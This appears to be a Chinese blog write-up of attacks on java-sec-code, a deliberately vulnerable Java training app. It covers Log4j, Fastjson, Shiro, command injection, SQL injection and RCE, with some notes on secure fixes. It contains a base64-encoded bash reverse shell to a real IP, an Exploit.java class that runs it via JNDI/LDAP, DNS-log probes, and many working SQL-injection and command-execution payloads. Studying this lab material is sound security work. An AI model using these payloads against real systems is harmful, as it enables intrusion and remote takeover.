环境搭建
mysql8.0
java1.8
maven3.9
采用IDEA搭建
git clone https://github.com/JoyChou93/java-sec-code
- 在application.properties文件中修改数据库连接密码
- 导入数据库文件。
- 在IDEA中打开,直接点击run按钮即可运行。
访问本地8080端口(admin/admin123)
点击登录之后没反应,查看网络请求发现请求远程jquery.min.js报502错误了
替换成以下就可以正常登录了
https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js
漏洞分析
log4j
看一下controller层的log4j文件,使用logger.error记录token值。
我们直接来访问http://localhost:8080/log4j?token=${jndi:ldap://ktrpaedmrm.zaza.eu.org}会报400
查看服务端日志发现,因为包含非法字符触发报错,于是我们对特殊字符进行url编码,成功返回200
进一步利用待补充;
先生成反弹shell命令
bash -i >& /dev/tcp/189.1.226.116/8989 0>&1
进行base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}
开始编写Exploit.java
import java.lang.Runtime; import java.lang.Process; public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
然后我们把Exploit.java编译为Exploit.class
先将编译好的恶意类部署到python的web服务上,再启动ldap服务,开启反弹端口监听。
最后发现无法远程调用。。。。。。应该是不允许加载类,试了很多方法没有成功反弹shell,可以请求到ladp服务,但是没有执行恶意的类文件
查了资料发现自Java 8u191+起,默认禁用远程类加载,系统属性com.sun.jndi.ldap.object.trustURLCodebase
设置为 false,直接阻止从LDAP/RMI服务加载远程类。
我的是java1.8.0_202 !!!
最后还可以全局查找logger.看其他地方是否也存在也CVE-2021-44228漏洞
Fastjson
这篇文章不错Fastjson全版本检测及利用-Poc.md
项目引用了1.2.24版本的fastjson,只要<=1.2.24 版本autoType 默认开启,且没有严格的黑名单限制
进行审计时可以通过搜索以下关键词来快速寻找可能存在的漏洞点
代码搜索关键词:
-
JSON.parse
JSON.parseObject
@type
(JSON中的类名指定字段)Feature.SupportNonPublicField
通过post方法请求/fastjson/deserialize路径,传输application/json格式数据
于是可以利用dnslog进行验证
{
"@type":"java.net.Inet4Address",
"val":"k74n3o.ceye.io"
}
返回200成功收到dnslog响应
进一步利用待补充:
对于JDK版本11.0.1、8u191、7u201、6u211及以上,RMI和LDAP的trustURLCodebase已经被限制,但是还存在绕过方法
- 使用受害者本地的类作为恶意Reference Factory攻击RMI
- 利用LDAP返回序列化数据触发Gadget
Shiro
引入shiro1.2.4依赖,存在漏洞
访问/shiro/deserialize,提示No rememberMe cookie. Right?
在请求包中cookie字段添加;rememberMe=true ,即可验证存在
接下来直接工具梭哈
提示执行失败换一个回显模式就行了
换成TomcatEcho回显就正常了
需要注意的是进行利用时,服务端会抛出很多异常
---------------------------------------------------------------------------------------------------------------
CmdInject
windows部署需要修改源代码
http://localhost:8080/codeinject?filepath=%7Cwhoami(使用|来执行多条命令)
host头注入在Tomcat7.9以上不支持请求链接有特殊字符, 否则报400
/codeinject/sec
调用SecurityUtil.cmdFilter()对输入的filepath进行过滤
只允许
"^[a-zA-Z0-9_/\\.-]+$"
sqli
/sqli/mybatis/vuln01和/jdbc/vuln都是没有过滤直接拼接
/jdbc/sec采用预编译,自动进行了转义
String sql = "select * from users where username = ?"; PreparedStatement st = con.prepareStatement(sql); st.setString(1, username);
/jdbc/ps/vuln
这个接口虽然使用了prepareStatement但是仍然采用直接拼接的方法,没什么好说的
@RequestMapping("/jdbc/ps/vuln") public String jdbc_ps_vuln(@RequestParam("username") String username) { StringBuilder result = new StringBuilder(); try { Class.forName(driver); Connection con = DriverManager.getConnection(url, user, password); if (!con.isClosed()) System.out.println("Connecting to Database successfully."); String sql = "select * from users where username = '" + username + "'"; PreparedStatement st = con.prepareStatement(sql);
正确用法应该采用占位符
// 正确使用范式 String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement st = con.prepareStatement(sql); st.setString(1, username); // 参数绑定
/mybatis/vuln02
在UserMapper.xml文件里可以看到使用like进行模糊查询
<select parameterType="String" resultMap="User"> select * from users where username like '%${_parameter}%' </select>
所以构造' or 1=1-- 即可
/mybatis/vuln03
采用order by语句直接使用${}会造成sql注入
<select parameterType="String" resultMap="User"> select * from users <if test="order != null"> order by ${order} asc </if> </select>
------------------------------------------------------------------------------------------------------------------
order by利用方式
- 数字越界报错:
输入超过表字段数的数字会触发错误,用于探测表的列数。ORDER BY 5 -- 若表仅4列,则报错:Unknown column '5' in 'order clause'
- 盲注探测列名:
通过布尔条件判断字段是否存在(如IF()
结合排序结果差异)。ORDER BY IF(database()='test', 1, (SELECT 1 UNION SELECT 2)) -- 若数据库名为test,正常排序,否则报错
2. 复合语句注入
- 布尔注入(
IF()
或CASE
):
利用条件语句改变排序结果,根据页面差异推断数据。ORDER BY IF(SUBSTRING(database(),1,1)='a', 1, 2) -- 首字母为a时按第1列排序,否则按第2列
- 延时注入(
SLEEP()
):
通过延时响应判断条件真假。ORDER BY IF(1=1, SLEEP(2), 1) -- 条件为真时触发延时
3. 报错注入
- 利用无效表达式:
强制触发数据库错误以泄露信息。ORDER BY (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)
关键限制与注意事项
- 无法直接联合查询(
UNION
)- 原因:
ORDER BY
必须位于 SQL 语句末尾,UNION
后的查询无法附加ORDER BY
。SELECT * FROM users UNION SELECT * FROM passwords ORDER BY 1; -- 语法错误
- 绕过方案:通过子查询或分步注入间接利用。
- 原因:
- 数字范围限制
- 数字必须介于 1 到查询结果的列数之间,否则报错。
- 复合语句的数据库兼容性
IF()
和CASE
是 MySQL 语法,其他数据库(如 Oracle、PostgreSQL)需调整语法。
------------------------------------------------------------------------------------------------------------------
这里使用报错注入,还可以盲注
/sqli/mybatis/orderby/vuln03?sort=id AND GTID_SUBSET(CONCAT(database(),(SELECT (ELT(5207=5207,1))),0x7162786a71),5207)
- id:是原本的排序字段,正常情况下的ORDER BY子句可能类似于ORDER BY id。
- AND:这里被用来引入额外的SQL条件,试图改变查询的逻辑。
- GTID_SUBSET():这是MySQL的一个函数,用于检查全局事务标识符(GTID)是否在子集中。但在这里被滥用来执行子查询。
- CONCAT():用于连接字符串,用于构造特定的payload。
- 0x7170706b71和0x7162786a71:这些是十六进制字符串,解码后是某些特定字符,用于混淆或绕过检测。(这两个字符串可以换成我们想要执行的函数)
- ELT(5207=5207,1):ELT函数返回第n个元素,这里5207=5207总为真,所以返回第一个元素,即1。
- 5207:作为GTID_SUBSET的第二个参数。
RCE
/rce/runtime/exec
/rce/ProcessBuilder
linux环境下可以执行
@GetMapping("/ProcessBuilder") public String processBuilder(String cmd) { StringBuilder sb = new StringBuilder(); try { String[] arrCmd = {"/bin/sh", "-c", cmd}; ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); Process p = processBuilder.start(); BufferedInputStream in = new BufferedInputStream(p.getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String tmpStr; while ((tmpStr = inBr.readLine()) != null) { sb.append(tmpStr); } } catch (Exception e) { return e.toString(); } return sb.toString(); }
/rce/jscmd
调用远程js,要用Nashorn的JS来调用Java类。例如,使用Java.type 获取Runtime类,然后调用exec方法执行
// test.js 修正版 (function() { // 正确引用Java类 var System = Java.type("java.lang.System"); // 执行系统命令(Windows示例) var Runtime = Java.type("java.lang.Runtime"); Runtime.getRuntime().exec("calc.exe"); // 返回执行结果 return "Command executed: " + System.getProperty("os.name"); })();
请求以上js,即可执行命令
/rce/vuln/yarm
一直报错,后续我会单独出一期snakeyaml反序列化漏洞的分析与复现
安全写法使用安全构造器限制(SafeConstructor
)
- 作用原理:
✅ 禁用所有自定义类标签解析(如!!javax.script.ScriptEngineManager
)
✅ 仅允许基础数据类型(字符串、数字等)和简单集合(List/Map)的反序列化
✅ 阻止URLClassLoader
、ProcessBuilder
等高危类的实例化
Groovy RCE 漏洞
@GetMapping("groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}
使用 Groovy 的 execute()
方法执行命令
http://localhost:8080/rce/groovy?content="calc".execute()
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)